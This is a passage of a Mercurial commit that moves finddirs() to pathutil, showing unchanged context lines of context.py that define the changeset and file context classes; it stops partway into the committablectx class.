utils: move finddirs() to pathutil

This is a follow-up to c21aca51b392 (utils: move the `dirs` definition
in pathutil (API), 2019-11-06). finddirs() is closely related to dirs
and used by it.

Differential Revision: https://phab.mercurial-scm.org/D7388

mercurial/context.py

@@ -1,2986 +1,2986 b''
 # context.py - changeset and file context objects for mercurial
 #
 # Copyright 2006, 2007 Matt Mackall <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import errno
 import filecmp
 import os
 import stat
 
 from .i18n import _
 from .node import (
     addednodeid,
     hex,
     modifiednodeid,
     nullid,
     nullrev,
     short,
     wdirfilenodeids,
     wdirhex,
 )
 from .pycompat import (
     getattr,
     open,
 )
 from . import (
     copies,
     dagop,
     encoding,
     error,
     fileset,
     match as matchmod,
     obsolete as obsmod,
     patch,
     pathutil,
     phases,
     pycompat,
     repoview,
     scmutil,
     sparse,
     subrepo,
     subrepoutil,
     util,
 )
 from .utils import (
     dateutil,
     stringutil,
 )
 
 propertycache = util.propertycache
 
 
 class basectx(object):
     """A basectx object represents the common logic for its children:
     changectx: read-only context that is already present in the repo,
     workingctx: a context that represents the working directory and can
                 be committed,
     memctx: a context that represents changes in-memory and can also
             be committed."""
 
     def __init__(self, repo):
         self._repo = repo
 
     def __bytes__(self):
         return short(self.node())
 
     __str__ = encoding.strmethod(__bytes__)
 
     def __repr__(self):
         return "<%s %s>" % (type(self).__name__, str(self))
 
     def __eq__(self, other):
         try:
             return type(self) == type(other) and self._rev == other._rev
         except AttributeError:
             return False
 
     def __ne__(self, other):
         return not (self == other)
 
     def __contains__(self, key):
         return key in self._manifest
 
     def __getitem__(self, key):
         return self.filectx(key)
 
     def __iter__(self):
         return iter(self._manifest)
 
     def _buildstatusmanifest(self, status):
         """Builds a manifest that includes the given status results, if this is
         a working copy context. For non-working copy contexts, it just returns
         the normal manifest."""
         return self.manifest()
 
     def _matchstatus(self, other, match):
         """This internal method provides a way for child objects to override the
         match operator.
         """
         return match
 
     def _buildstatus(
         self, other, s, match, listignored, listclean, listunknown
     ):
         """build a status with respect to another context"""
         # Load earliest manifest first for caching reasons. More specifically,
         # if you have revisions 1000 and 1001, 1001 is probably stored as a
         # delta against 1000. Thus, if you read 1000 first, we'll reconstruct
         # 1000 and cache it so that when you read 1001, we just need to apply a
         # delta to what's in the cache. So that's one full reconstruction + one
         # delta application.
         mf2 = None
         if self.rev() is not None and self.rev() < other.rev():
             mf2 = self._buildstatusmanifest(s)
         mf1 = other._buildstatusmanifest(s)
         if mf2 is None:
             mf2 = self._buildstatusmanifest(s)
 
         modified, added = [], []
         removed = []
         clean = []
         deleted, unknown, ignored = s.deleted, s.unknown, s.ignored
         deletedset = set(deleted)
         d = mf1.diff(mf2, match=match, clean=listclean)
         for fn, value in pycompat.iteritems(d):
             if fn in deletedset:
                 continue
             if value is None:
                 clean.append(fn)
                 continue
             (node1, flag1), (node2, flag2) = value
             if node1 is None:
                 added.append(fn)
             elif node2 is None:
                 removed.append(fn)
             elif flag1 != flag2:
                 modified.append(fn)
             elif node2 not in wdirfilenodeids:
                 # When comparing files between two commits, we save time by
                 # not comparing the file contents when the nodeids differ.
                 # Note that this means we incorrectly report a reverted change
                 # to a file as a modification.
                 modified.append(fn)
             elif self[fn].cmp(other[fn]):
                 modified.append(fn)
             else:
                 clean.append(fn)
 
         if removed:
             # need to filter files if they are already reported as removed
             unknown = [
                 fn
                 for fn in unknown
                 if fn not in mf1 and (not match or match(fn))
             ]
             ignored = [
                 fn
                 for fn in ignored
                 if fn not in mf1 and (not match or match(fn))
             ]
             # if they're deleted, don't report them as removed
             removed = [fn for fn in removed if fn not in deletedset]
 
         return scmutil.status(
             modified, added, removed, deleted, unknown, ignored, clean
         )
 
     @propertycache
     def substate(self):
         return subrepoutil.state(self, self._repo.ui)
 
     def subrev(self, subpath):
         return self.substate[subpath][1]
 
     def rev(self):
         return self._rev
 
     def node(self):
         return self._node
 
     def hex(self):
         return hex(self.node())
 
     def manifest(self):
         return self._manifest
 
     def manifestctx(self):
         return self._manifestctx
 
     def repo(self):
         return self._repo
 
     def phasestr(self):
         return phases.phasenames[self.phase()]
 
     def mutable(self):
         return self.phase() > phases.public
 
     def matchfileset(self, expr, badfn=None):
         return fileset.match(self, expr, badfn=badfn)
 
     def obsolete(self):
         """True if the changeset is obsolete"""
         return self.rev() in obsmod.getrevs(self._repo, b'obsolete')
 
     def extinct(self):
         """True if the changeset is extinct"""
         return self.rev() in obsmod.getrevs(self._repo, b'extinct')
 
     def orphan(self):
         """True if the changeset is not obsolete, but its ancestor is"""
         return self.rev() in obsmod.getrevs(self._repo, b'orphan')
 
     def phasedivergent(self):
         """True if the changeset tries to be a successor of a public changeset
 
         Only non-public and non-obsolete changesets may be phase-divergent.
         """
         return self.rev() in obsmod.getrevs(self._repo, b'phasedivergent')
 
     def contentdivergent(self):
         """Is a successor of a changeset with multiple possible successor sets
 
         Only non-public and non-obsolete changesets may be content-divergent.
         """
         return self.rev() in obsmod.getrevs(self._repo, b'contentdivergent')
 
     def isunstable(self):
         """True if the changeset is either orphan, phase-divergent or
         content-divergent"""
         return self.orphan() or self.phasedivergent() or self.contentdivergent()
 
     def instabilities(self):
         """return the list of instabilities affecting this changeset.
 
         Instabilities are returned as strings. possible values are:
         - orphan,
         - phase-divergent,
         - content-divergent.
         """
         instabilities = []
         if self.orphan():
             instabilities.append(b'orphan')
         if self.phasedivergent():
             instabilities.append(b'phase-divergent')
         if self.contentdivergent():
             instabilities.append(b'content-divergent')
         return instabilities
 
     def parents(self):
         """return contexts for each parent changeset"""
         return self._parents
 
     def p1(self):
         return self._parents[0]
 
     def p2(self):
         parents = self._parents
         if len(parents) == 2:
             return parents[1]
         return self._repo[nullrev]
 
     def _fileinfo(self, path):
         if '_manifest' in self.__dict__:
             try:
                 return self._manifest[path], self._manifest.flags(path)
             except KeyError:
                 raise error.ManifestLookupError(
                     self._node, path, _(b'not found in manifest')
                 )
         if '_manifestdelta' in self.__dict__ or path in self.files():
             if path in self._manifestdelta:
                 return (
                     self._manifestdelta[path],
                     self._manifestdelta.flags(path),
                 )
         mfl = self._repo.manifestlog
         try:
             node, flag = mfl[self._changeset.manifest].find(path)
         except KeyError:
             raise error.ManifestLookupError(
                 self._node, path, _(b'not found in manifest')
             )
 
         return node, flag
 
     def filenode(self, path):
         return self._fileinfo(path)[0]
 
     def flags(self, path):
         try:
             return self._fileinfo(path)[1]
         except error.LookupError:
             return b''
 
     @propertycache
     def _copies(self):
         return copies.computechangesetcopies(self)
 
     def p1copies(self):
         return self._copies[0]
 
     def p2copies(self):
         return self._copies[1]
 
     def sub(self, path, allowcreate=True):
         '''return a subrepo for the stored revision of path, never wdir()'''
         return subrepo.subrepo(self, path, allowcreate=allowcreate)
 
     def nullsub(self, path, pctx):
         return subrepo.nullsubrepo(self, path, pctx)
 
     def workingsub(self, path):
         '''return a subrepo for the stored revision, or wdir if this is a wdir
         context.
         '''
         return subrepo.subrepo(self, path, allowwdir=True)
 
     def match(
         self,
         pats=None,
         include=None,
         exclude=None,
         default=b'glob',
         listsubrepos=False,
         badfn=None,
     ):
         r = self._repo
         return matchmod.match(
             r.root,
             r.getcwd(),
             pats,
             include,
             exclude,
             default,
             auditor=r.nofsauditor,
             ctx=self,
             listsubrepos=listsubrepos,
             badfn=badfn,
         )
 
     def diff(
         self,
         ctx2=None,
         match=None,
         changes=None,
         opts=None,
         losedatafn=None,
         pathfn=None,
         copy=None,
         copysourcematch=None,
         hunksfilterfn=None,
     ):
         """Returns a diff generator for the given contexts and matcher"""
         if ctx2 is None:
             ctx2 = self.p1()
         if ctx2 is not None:
             ctx2 = self._repo[ctx2]
         return patch.diff(
             self._repo,
             ctx2,
             self,
             match=match,
             changes=changes,
             opts=opts,
             losedatafn=losedatafn,
             pathfn=pathfn,
             copy=copy,
             copysourcematch=copysourcematch,
             hunksfilterfn=hunksfilterfn,
         )
 
     def dirs(self):
         return self._manifest.dirs()
 
     def hasdir(self, dir):
         return self._manifest.hasdir(dir)
 
     def status(
         self,
         other=None,
         match=None,
         listignored=False,
         listclean=False,
         listunknown=False,
         listsubrepos=False,
     ):
         """return status of files between two nodes or node and working
         directory.
 
         If other is None, compare this node with working directory.
 
         returns (modified, added, removed, deleted, unknown, ignored, clean)
         """
 
         ctx1 = self
         ctx2 = self._repo[other]
 
         # This next code block is, admittedly, fragile logic that tests for
         # reversing the contexts and wouldn't need to exist if it weren't for
         # the fast (and common) code path of comparing the working directory
         # with its first parent.
         #
         # What we're aiming for here is the ability to call:
         #
         # workingctx.status(parentctx)
         #
         # If we always built the manifest for each context and compared those,
         # then we'd be done. But the special case of the above call means we
         # just copy the manifest of the parent.
         reversed = False
         if not isinstance(ctx1, changectx) and isinstance(ctx2, changectx):
             reversed = True
             ctx1, ctx2 = ctx2, ctx1
 
         match = self._repo.narrowmatch(match)
         match = ctx2._matchstatus(ctx1, match)
         r = scmutil.status([], [], [], [], [], [], [])
         r = ctx2._buildstatus(
             ctx1, r, match, listignored, listclean, listunknown
         )
 
         if reversed:
             # Reverse added and removed. Clear deleted, unknown and ignored as
             # these make no sense to reverse.
             r = scmutil.status(
                 r.modified, r.removed, r.added, [], [], [], r.clean
             )
 
         if listsubrepos:
             for subpath, sub in scmutil.itersubrepos(ctx1, ctx2):
                 try:
                     rev2 = ctx2.subrev(subpath)
                 except KeyError:
                     # A subrepo that existed in node1 was deleted between
                     # node1 and node2 (inclusive). Thus, ctx2's substate
                     # won't contain that subpath. The best we can do ignore it.
                     rev2 = None
                 submatch = matchmod.subdirmatcher(subpath, match)
                 s = sub.status(
                     rev2,
                     match=submatch,
                     ignored=listignored,
                     clean=listclean,
                     unknown=listunknown,
                     listsubrepos=True,
                 )
                 for rfiles, sfiles in zip(r, s):
                     rfiles.extend(b"%s/%s" % (subpath, f) for f in sfiles)
 
         for l in r:
             l.sort()
 
         return r
 
 
 class changectx(basectx):
     """A changecontext object makes access to data related to a particular
     changeset convenient. It represents a read-only context already present in
     the repo."""
 
     def __init__(self, repo, rev, node):
         super(changectx, self).__init__(repo)
         self._rev = rev
         self._node = node
 
     def __hash__(self):
         try:
             return hash(self._rev)
         except AttributeError:
             return id(self)
 
     def __nonzero__(self):
         return self._rev != nullrev
 
     __bool__ = __nonzero__
 
     @propertycache
     def _changeset(self):
         return self._repo.changelog.changelogrevision(self.rev())
 
     @propertycache
     def _manifest(self):
         return self._manifestctx.read()
 
     @property
     def _manifestctx(self):
         return self._repo.manifestlog[self._changeset.manifest]
 
     @propertycache
     def _manifestdelta(self):
         return self._manifestctx.readdelta()
 
     @propertycache
     def _parents(self):
         repo = self._repo
         p1, p2 = repo.changelog.parentrevs(self._rev)
         if p2 == nullrev:
             return [repo[p1]]
         return [repo[p1], repo[p2]]
 
     def changeset(self):
         c = self._changeset
         return (
             c.manifest,
             c.user,
             c.date,
             c.files,
             c.description,
             c.extra,
         )
 
     def manifestnode(self):
         return self._changeset.manifest
 
     def user(self):
         return self._changeset.user
 
     def date(self):
         return self._changeset.date
 
     def files(self):
         return self._changeset.files
 
     def filesmodified(self):
         modified = set(self.files())
         modified.difference_update(self.filesadded())
         modified.difference_update(self.filesremoved())
         return sorted(modified)
 
     def filesadded(self):
         filesadded = self._changeset.filesadded
         compute_on_none = True
         if self._repo.filecopiesmode == b'changeset-sidedata':
             compute_on_none = False
         else:
             source = self._repo.ui.config(b'experimental', b'copies.read-from')
             if source == b'changeset-only':
                 compute_on_none = False
             elif source != b'compatibility':
                 # filelog mode, ignore any changelog content
                 filesadded = None
         if filesadded is None:
             if compute_on_none:
                 filesadded = copies.computechangesetfilesadded(self)
             else:
                 filesadded = []
         return filesadded
 
     def filesremoved(self):
         filesremoved = self._changeset.filesremoved
         compute_on_none = True
         if self._repo.filecopiesmode == b'changeset-sidedata':
             compute_on_none = False
         else:
             source = self._repo.ui.config(b'experimental', b'copies.read-from')
             if source == b'changeset-only':
                 compute_on_none = False
             elif source != b'compatibility':
                 # filelog mode, ignore any changelog content
                 filesremoved = None
         if filesremoved is None:
             if compute_on_none:
                 filesremoved = copies.computechangesetfilesremoved(self)
             else:
                 filesremoved = []
         return filesremoved
 
     @propertycache
     def _copies(self):
         p1copies = self._changeset.p1copies
         p2copies = self._changeset.p2copies
         compute_on_none = True
         if self._repo.filecopiesmode == b'changeset-sidedata':
             compute_on_none = False
         else:
             source = self._repo.ui.config(b'experimental', b'copies.read-from')
             # If config says to get copy metadata only from changeset, then
             # return that, defaulting to {} if there was no copy metadata.  In
             # compatibility mode, we return copy data from the changeset if it
             # was recorded there, and otherwise we fall back to getting it from
             # the filelogs (below).
             #
             # If we are in compatiblity mode and there is not data in the
             # changeset), we get the copy metadata from the filelogs.
             #
             # otherwise, when config said to read only from filelog, we get the
             # copy metadata from the filelogs.
             if source == b'changeset-only':
                 compute_on_none = False
             elif source != b'compatibility':
                 # filelog mode, ignore any changelog content
                 p1copies = p2copies = None
         if p1copies is None:
             if compute_on_none:
                 p1copies, p2copies = super(changectx, self)._copies
             else:
                 if p1copies is None:
                     p1copies = {}
         if p2copies is None:
             p2copies = {}
         return p1copies, p2copies
 
     def description(self):
         return self._changeset.description
 
     def branch(self):
         return encoding.tolocal(self._changeset.extra.get(b"branch"))
 
     def closesbranch(self):
         return b'close' in self._changeset.extra
 
     def extra(self):
         """Return a dict of extra information."""
         return self._changeset.extra
 
     def tags(self):
         """Return a list of byte tag names"""
         return self._repo.nodetags(self._node)
 
     def bookmarks(self):
         """Return a list of byte bookmark names."""
         return self._repo.nodebookmarks(self._node)
 
     def phase(self):
         return self._repo._phasecache.phase(self._repo, self._rev)
 
     def hidden(self):
         return self._rev in repoview.filterrevs(self._repo, b'visible')
 
     def isinmemory(self):
         return False
 
     def children(self):
         """return list of changectx contexts for each child changeset.
 
         This returns only the immediate child changesets. Use descendants() to
         recursively walk children.
         """
         c = self._repo.changelog.children(self._node)
         return [self._repo[x] for x in c]
 
     def ancestors(self):
         for a in self._repo.changelog.ancestors([self._rev]):
             yield self._repo[a]
 
     def descendants(self):
         """Recursively yield all children of the changeset.
 
         For just the immediate children, use children()
         """
         for d in self._repo.changelog.descendants([self._rev]):
             yield self._repo[d]
 
     def filectx(self, path, fileid=None, filelog=None):
         """get a file context from this changeset"""
         if fileid is None:
             fileid = self.filenode(path)
         return filectx(
             self._repo, path, fileid=fileid, changectx=self, filelog=filelog
         )
 
     def ancestor(self, c2, warn=False):
         """return the "best" ancestor context of self and c2
 
         If there are multiple candidates, it will show a message and check
         merge.preferancestor configuration before falling back to the
         revlog ancestor."""
         # deal with workingctxs
         n2 = c2._node
         if n2 is None:
             n2 = c2._parents[0]._node
         cahs = self._repo.changelog.commonancestorsheads(self._node, n2)
         if not cahs:
             anc = nullid
         elif len(cahs) == 1:
             anc = cahs[0]
         else:
             # experimental config: merge.preferancestor
             for r in self._repo.ui.configlist(b'merge', b'preferancestor'):
                 try:
                     ctx = scmutil.revsymbol(self._repo, r)
                 except error.RepoLookupError:
                     continue
                 anc = ctx.node()
                 if anc in cahs:
                     break
             else:
                 anc = self._repo.changelog.ancestor(self._node, n2)
             if warn:
                 self._repo.ui.status(
                     (
                         _(b"note: using %s as ancestor of %s and %s\n")
                         % (short(anc), short(self._node), short(n2))
                     )
                     + b''.join(
                         _(
                             b"      alternatively, use --config "
                             b"merge.preferancestor=%s\n"
                         )
                         % short(n)
                         for n in sorted(cahs)
                         if n != anc
                     )
                 )
         return self._repo[anc]
 
     def isancestorof(self, other):
         """True if this changeset is an ancestor of other"""
         return self._repo.changelog.isancestorrev(self._rev, other._rev)
 
     def walk(self, match):
         '''Generates matching file names.'''
 
         # Wrap match.bad method to have message with nodeid
         def bad(fn, msg):
             # The manifest doesn't know about subrepos, so don't complain about
             # paths into valid subrepos.
             if any(fn == s or fn.startswith(s + b'/') for s in self.substate):
                 return
             match.bad(fn, _(b'no such file in rev %s') % self)
 
         m = matchmod.badmatch(self._repo.narrowmatch(match), bad)
         return self._manifest.walk(m)
 
     def matches(self, match):
         return self.walk(match)
 
 
 class basefilectx(object):
     """A filecontext object represents the common logic for its children:
     filectx: read-only access to a filerevision that is already present
              in the repo,
     workingfilectx: a filecontext that represents files from the working
                     directory,
     memfilectx: a filecontext that represents files in-memory,
     """
 
     @propertycache
     def _filelog(self):
         return self._repo.file(self._path)
 
     @propertycache
     def _changeid(self):
         if '_changectx' in self.__dict__:
             return self._changectx.rev()
         elif '_descendantrev' in self.__dict__:
             # this file context was created from a revision with a known
             # descendant, we can (lazily) correct for linkrev aliases
             return self._adjustlinkrev(self._descendantrev)
         else:
             return self._filelog.linkrev(self._filerev)
 
     @propertycache
     def _filenode(self):
         if '_fileid' in self.__dict__:
             return self._filelog.lookup(self._fileid)
         else:
             return self._changectx.filenode(self._path)
 
     @propertycache
     def _filerev(self):
         return self._filelog.rev(self._filenode)
 
     @propertycache
     def _repopath(self):
         return self._path
 
     def __nonzero__(self):
         try:
             self._filenode
             return True
         except error.LookupError:
             # file is missing
             return False
 
     __bool__ = __nonzero__
 
     def __bytes__(self):
         try:
             return b"%s@%s" % (self.path(), self._changectx)
         except error.LookupError:
             return b"%s@???" % self.path()
 
     __str__ = encoding.strmethod(__bytes__)
 
     def __repr__(self):
         return "<%s %s>" % (type(self).__name__, str(self))
 
     def __hash__(self):
         try:
             return hash((self._path, self._filenode))
         except AttributeError:
             return id(self)
 
     def __eq__(self, other):
         try:
             return (
                 type(self) == type(other)
                 and self._path == other._path
                 and self._filenode == other._filenode
             )
         except AttributeError:
             return False
 
     def __ne__(self, other):
         return not (self == other)
 
     def filerev(self):
         return self._filerev
 
     def filenode(self):
         return self._filenode
 
     @propertycache
     def _flags(self):
         return self._changectx.flags(self._path)
 
     def flags(self):
         return self._flags
 
     def filelog(self):
         return self._filelog
 
     def rev(self):
         return self._changeid
 
     def linkrev(self):
         return self._filelog.linkrev(self._filerev)
 
     def node(self):
         return self._changectx.node()
 
     def hex(self):
         return self._changectx.hex()
 
     def user(self):
         return self._changectx.user()
 
     def date(self):
         return self._changectx.date()
 
     def files(self):
         return self._changectx.files()
 
     def description(self):
         return self._changectx.description()
 
     def branch(self):
         return self._changectx.branch()
 
     def extra(self):
         return self._changectx.extra()
 
     def phase(self):
         return self._changectx.phase()
 
     def phasestr(self):
         return self._changectx.phasestr()
 
     def obsolete(self):
         return self._changectx.obsolete()
 
     def instabilities(self):
         return self._changectx.instabilities()
 
     def manifest(self):
         return self._changectx.manifest()
 
     def changectx(self):
         return self._changectx
 
     def renamed(self):
         return self._copied
 
     def copysource(self):
         return self._copied and self._copied[0]
 
     def repo(self):
         return self._repo
 
     def size(self):
         return len(self.data())
 
     def path(self):
         return self._path
 
     def isbinary(self):
         try:
             return stringutil.binary(self.data())
         except IOError:
             return False
 
     def isexec(self):
         return b'x' in self.flags()
 
     def islink(self):
         return b'l' in self.flags()
 
     def isabsent(self):
         """whether this filectx represents a file not in self._changectx
 
         This is mainly for merge code to detect change/delete conflicts. This is
         expected to be True for all subclasses of basectx."""
         return False
 
     _customcmp = False
 
     def cmp(self, fctx):
         """compare with other file context
 
         returns True if different than fctx.
         """
         if fctx._customcmp:
             return fctx.cmp(self)
 
         if self._filenode is None:
             raise error.ProgrammingError(
                 b'filectx.cmp() must be reimplemented if not backed by revlog'
             )
 
         if fctx._filenode is None:
             if self._repo._encodefilterpats:
                 # can't rely on size() because wdir content may be decoded
                 return self._filelog.cmp(self._filenode, fctx.data())
             if self.size() - 4 == fctx.size():
                 # size() can match:
                 # if file data starts with '\1\n', empty metadata block is
                 # prepended, which adds 4 bytes to filelog.size().
                 return self._filelog.cmp(self._filenode, fctx.data())
         if self.size() == fctx.size():
             # size() matches: need to compare content
             return self._filelog.cmp(self._filenode, fctx.data())
 
         # size() differs
         return True
 
     def _adjustlinkrev(self, srcrev, inclusive=False, stoprev=None):
         """return the first ancestor of <srcrev> introducing <fnode>
 
         If the linkrev of the file revision does not point to an ancestor of
         srcrev, we'll walk down the ancestors until we find one introducing
         this file revision.
 
         :srcrev: the changeset revision we search ancestors from
         :inclusive: if true, the src revision will also be checked
         :stoprev: an optional revision to stop the walk at. If no introduction
                   of this file content could be found before this floor
                   revision, the function will returns "None" and stops its
                   iteration.
         """
         repo = self._repo
         cl = repo.unfiltered().changelog
         mfl = repo.manifestlog
         # fetch the linkrev
         lkr = self.linkrev()
         if srcrev == lkr:
             return lkr
         # hack to reuse ancestor computation when searching for renames
         memberanc = getattr(self, '_ancestrycontext', None)
         iteranc = None
         if srcrev is None:
             # wctx case, used by workingfilectx during mergecopy
             revs = [p.rev() for p in self._repo[None].parents()]
             inclusive = True  # we skipped the real (revless) source
         else:
             revs = [srcrev]
         if memberanc is None:
             memberanc = iteranc = cl.ancestors(revs, lkr, inclusive=inclusive)
         # check if this linkrev is an ancestor of srcrev
         if lkr not in memberanc:
             if iteranc is None:
                 iteranc = cl.ancestors(revs, lkr, inclusive=inclusive)
             fnode = self._filenode
             path = self._path
             for a in iteranc:
                 if stoprev is not None and a < stoprev:
                     return None
                 ac = cl.read(a)  # get changeset data (we avoid object creation)
                 if path in ac[3]:  # checking the 'files' field.
                     # The file has been touched, check if the content is
                     # similar to the one we search for.
                     if fnode == mfl[ac[0]].readfast().get(path):
                         return a
             # In theory, we should never get out of that loop without a result.
             # But if manifest uses a buggy file revision (not children of the
             # one it replaces) we could. Such a buggy situation will likely
             # result is crash somewhere else at to some point.
         return lkr
 
     def isintroducedafter(self, changelogrev):
         """True if a filectx has been introduced after a given floor revision
         """
         if self.linkrev() >= changelogrev:
             return True
         introrev = self._introrev(stoprev=changelogrev)
         if introrev is None:
             return False
         return introrev >= changelogrev
 
     def introrev(self):
         """return the rev of the changeset which introduced this file revision
 
         This method is different from linkrev because it take into account the
         changeset the filectx was created from. It ensures the returned
         revision is one of its ancestors. This prevents bugs from
         'linkrev-shadowing' when a file revision is used by multiple
         changesets.
         """
         return self._introrev()
 
     def _introrev(self, stoprev=None):
         """
         Same as `introrev` but, with an extra argument to limit changelog
         iteration range in some internal usecase.
 
         If `stoprev` is set, the `introrev` will not be searched past that
         `stoprev` revision and "None" might be returned. This is useful to
         limit the iteration range.
         """
         toprev = None
         attrs = vars(self)
         if '_changeid' in attrs:
             # We have a cached value already
             toprev = self._changeid
         elif '_changectx' in attrs:
             # We know which changelog entry we are coming from
             toprev = self._changectx.rev()
 
         if toprev is not None:
             return self._adjustlinkrev(toprev, inclusive=True, stoprev=stoprev)
         elif '_descendantrev' in attrs:
             introrev = self._adjustlinkrev(self._descendantrev, stoprev=stoprev)
             # be nice and cache the result of the computation
             if introrev is not None:
                 self._changeid = introrev
             return introrev
         else:
             return self.linkrev()
 
     def introfilectx(self):
         """Return filectx having identical contents, but pointing to the
         changeset revision where this filectx was introduced"""
         introrev = self.introrev()
         if self.rev() == introrev:
             return self
         return self.filectx(self.filenode(), changeid=introrev)
 
     def _parentfilectx(self, path, fileid, filelog):
         """create parent filectx keeping ancestry info for _adjustlinkrev()"""
         fctx = filectx(self._repo, path, fileid=fileid, filelog=filelog)
         if '_changeid' in vars(self) or '_changectx' in vars(self):
             # If self is associated with a changeset (probably explicitly
             # fed), ensure the created filectx is associated with a
             # changeset that is an ancestor of self.changectx.
             # This lets us later use _adjustlinkrev to get a correct link.
             fctx._descendantrev = self.rev()
             fctx._ancestrycontext = getattr(self, '_ancestrycontext', None)
         elif '_descendantrev' in vars(self):
             # Otherwise propagate _descendantrev if we have one associated.
             fctx._descendantrev = self._descendantrev
             fctx._ancestrycontext = getattr(self, '_ancestrycontext', None)
         return fctx
 
     def parents(self):
         _path = self._path
         fl = self._filelog
         parents = self._filelog.parents(self._filenode)
         pl = [(_path, node, fl) for node in parents if node != nullid]
 
         r = fl.renamed(self._filenode)
         if r:
             # - In the simple rename case, both parent are nullid, pl is empty.
             # - In case of merge, only one of the parent is null id and should
             # be replaced with the rename information. This parent is -always-
             # the first one.
             #
             # As null id have always been filtered out in the previous list
             # comprehension, inserting to 0 will always result in "replacing
             # first nullid parent with rename information.
             pl.insert(0, (r[0], r[1], self._repo.file(r[0])))
 
         return [self._parentfilectx(path, fnode, l) for path, fnode, l in pl]
 
     def p1(self):
         return self.parents()[0]
 
     def p2(self):
         p = self.parents()
         if len(p) == 2:
             return p[1]
         return filectx(self._repo, self._path, fileid=-1, filelog=self._filelog)
 
     def annotate(self, follow=False, skiprevs=None, diffopts=None):
         """Returns a list of annotateline objects for each line in the file
 
         - line.fctx is the filectx of the node where that line was last changed
         - line.lineno is the line number at the first appearance in the managed
           file
         - line.text is the data on that line (including newline character)
         """
         getlog = util.lrucachefunc(lambda x: self._repo.file(x))
 
         def parents(f):
             # Cut _descendantrev here to mitigate the penalty of lazy linkrev
             # adjustment. Otherwise, p._adjustlinkrev() would walk changelog
             # from the topmost introrev (= srcrev) down to p.linkrev() if it
             # isn't an ancestor of the srcrev.
             f._changeid
             pl = f.parents()
 
             # Don't return renamed parents if we aren't following.
             if not follow:
                 pl = [p for p in pl if p.path() == f.path()]
 
             # renamed filectx won't have a filelog yet, so set it
             # from the cache to save time
             for p in pl:
                 if not '_filelog' in p.__dict__:
                     p._filelog = getlog(p.path())
 
             return pl
 
         # use linkrev to find the first changeset where self appeared
         base = self.introfilectx()
         if getattr(base, '_ancestrycontext', None) is None:
             cl = self._repo.changelog
             if base.rev() is None:
                 # wctx is not inclusive, but works because _ancestrycontext
                 # is used to test filelog revisions
                 ac = cl.ancestors(
                     [p.rev() for p in base.parents()], inclusive=True
                 )
             else:
                 ac = cl.ancestors([base.rev()], inclusive=True)
             base._ancestrycontext = ac
 
         return dagop.annotate(
             base, parents, skiprevs=skiprevs, diffopts=diffopts
         )
 
     def ancestors(self, followfirst=False):
         visit = {}
         c = self
         if followfirst:
             cut = 1
         else:
             cut = None
 
         while True:
             for parent in c.parents()[:cut]:
                 visit[(parent.linkrev(), parent.filenode())] = parent
             if not visit:
                 break
             c = visit.pop(max(visit))
             yield c
 
     def decodeddata(self):
         """Returns `data()` after running repository decoding filters.
 
         This is often equivalent to how the data would be expressed on disk.
         """
         return self._repo.wwritedata(self.path(), self.data())
 
 
 class filectx(basefilectx):
     """A filecontext object makes access to data related to a particular
        filerevision convenient."""
 
     def __init__(
         self,
         repo,
         path,
         changeid=None,
         fileid=None,
         filelog=None,
         changectx=None,
     ):
         """changeid must be a revision number, if specified.
            fileid can be a file revision or node."""
         self._repo = repo
         self._path = path
 
         assert (
             changeid is not None or fileid is not None or changectx is not None
         ), (
             b"bad args: changeid=%r, fileid=%r, changectx=%r"
             % (changeid, fileid, changectx,)
         )
 
         if filelog is not None:
             self._filelog = filelog
 
         if changeid is not None:
             self._changeid = changeid
         if changectx is not None:
             self._changectx = changectx
         if fileid is not None:
             self._fileid = fileid
 
     @propertycache
     def _changectx(self):
         try:
             return self._repo[self._changeid]
         except error.FilteredRepoLookupError:
             # Linkrev may point to any revision in the repository.  When the
             # repository is filtered this may lead to `filectx` trying to build
             # `changectx` for filtered revision. In such case we fallback to
             # creating `changectx` on the unfiltered version of the reposition.
             # This fallback should not be an issue because `changectx` from
             # `filectx` are not used in complex operations that care about
             # filtering.
             #
             # This fallback is a cheap and dirty fix that prevent several
             # crashes. It does not ensure the behavior is correct. However the
             # behavior was not correct before filtering either and "incorrect
             # behavior" is seen as better as "crash"
             #
             # Linkrevs have several serious troubles with filtering that are
             # complicated to solve. Proper handling of the issue here should be
             # considered when solving linkrev issue are on the table.
             return self._repo.unfiltered()[self._changeid]
 
     def filectx(self, fileid, changeid=None):
         '''opens an arbitrary revision of the file without
         opening a new filelog'''
         return filectx(
             self._repo,
             self._path,
             fileid=fileid,
             filelog=self._filelog,
             changeid=changeid,
         )
 
     def rawdata(self):
         return self._filelog.rawdata(self._filenode)
 
     def rawflags(self):
         """low-level revlog flags"""
         return self._filelog.flags(self._filerev)
 
     def data(self):
         try:
             return self._filelog.read(self._filenode)
         except error.CensoredNodeError:
             if self._repo.ui.config(b"censor", b"policy") == b"ignore":
                 return b""
             raise error.Abort(
                 _(b"censored node: %s") % short(self._filenode),
                 hint=_(b"set censor.policy to ignore errors"),
             )
 
     def size(self):
         return self._filelog.size(self._filerev)
 
     @propertycache
     def _copied(self):
         """check if file was actually renamed in this changeset revision
 
         If rename logged in file revision, we report copy for changeset only
         if file revisions linkrev points back to the changeset in question
         or both changeset parents contain different file revisions.
         """
 
         renamed = self._filelog.renamed(self._filenode)
         if not renamed:
             return None
 
         if self.rev() == self.linkrev():
             return renamed
 
         name = self.path()
         fnode = self._filenode
         for p in self._changectx.parents():
             try:
                 if fnode == p.filenode(name):
                     return None
             except error.LookupError:
                 pass
         return renamed
 
     def children(self):
         # hard for renames
         c = self._filelog.children(self._filenode)
         return [
             filectx(self._repo, self._path, fileid=x, filelog=self._filelog)
             for x in c
         ]
 
 
 class committablectx(basectx):
     """A committablectx object provides common functionality for a context that
     wants the ability to commit, e.g. workingctx or memctx."""
 
     def __init__(
         self,
         repo,
         text=b"",
         user=None,
         date=None,
         extra=None,
         changes=None,
         branch=None,
     ):
         super(committablectx, self).__init__(repo)
         self._rev = None
         self._node = None
         self._text = text
         if date:
             self._date = dateutil.parsedate(date)
         if user:
             self._user = user
         if changes:
             self._status = changes
 
         self._extra = {}
         if extra:
             self._extra = extra.copy()
         if branch is not None:
             self._extra[b'branch'] = encoding.fromlocal(branch)
         if not self._extra.get(b'branch'):
             self._extra[b'branch'] = b'default'
 
     def __bytes__(self):
         return bytes(self._parents[0]) + b"+"
 
     __str__ = encoding.strmethod(__bytes__)
 
     def __nonzero__(self):
         return True
 
     __bool__ = __nonzero__
 
     @propertycache
     def _status(self):
         return self._repo.status()
 
     @propertycache
